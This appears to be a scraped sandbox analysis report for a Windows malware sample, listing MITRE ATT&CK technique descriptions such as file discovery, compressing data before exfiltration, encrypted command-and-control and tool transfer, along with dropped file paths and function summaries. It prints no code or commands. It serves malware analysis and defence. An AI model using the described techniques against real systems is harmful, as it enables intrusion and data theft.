Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report OXoeX1Ii3x.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_OXoeX1Ii3x.exe_ff6e839fbc87f846dac04b4093999c48a66e696_6a8cdeb1_f967174d-e0fb-4f62-a551-ef34d0073e2b\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER74E.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER868.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER888.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\76561199619938930[1].htm

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
OXoeX1Ii3x.exe

Function 002173CD Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 167
networkfileCOMMON

Function 00217BE1 Relevance: 30.3, APIs: 3, Strings: 14, Instructions: 563
COMMON

Function 002061C0 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 75
networkCOMMON

Function 0020C1B8 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 224
COMMON

Function 0020B558 Relevance: 3.1, APIs: 2, Instructions: 56
COMMON

Function 002302FE Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 00217870 Relevance: 1.7, APIs: 1, Instructions: 155
COMMON

Function 002202FE Relevance: 1.5, APIs: 1, Instructions: 43
COMMONLIBRARYCODE

Function 0023188C Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE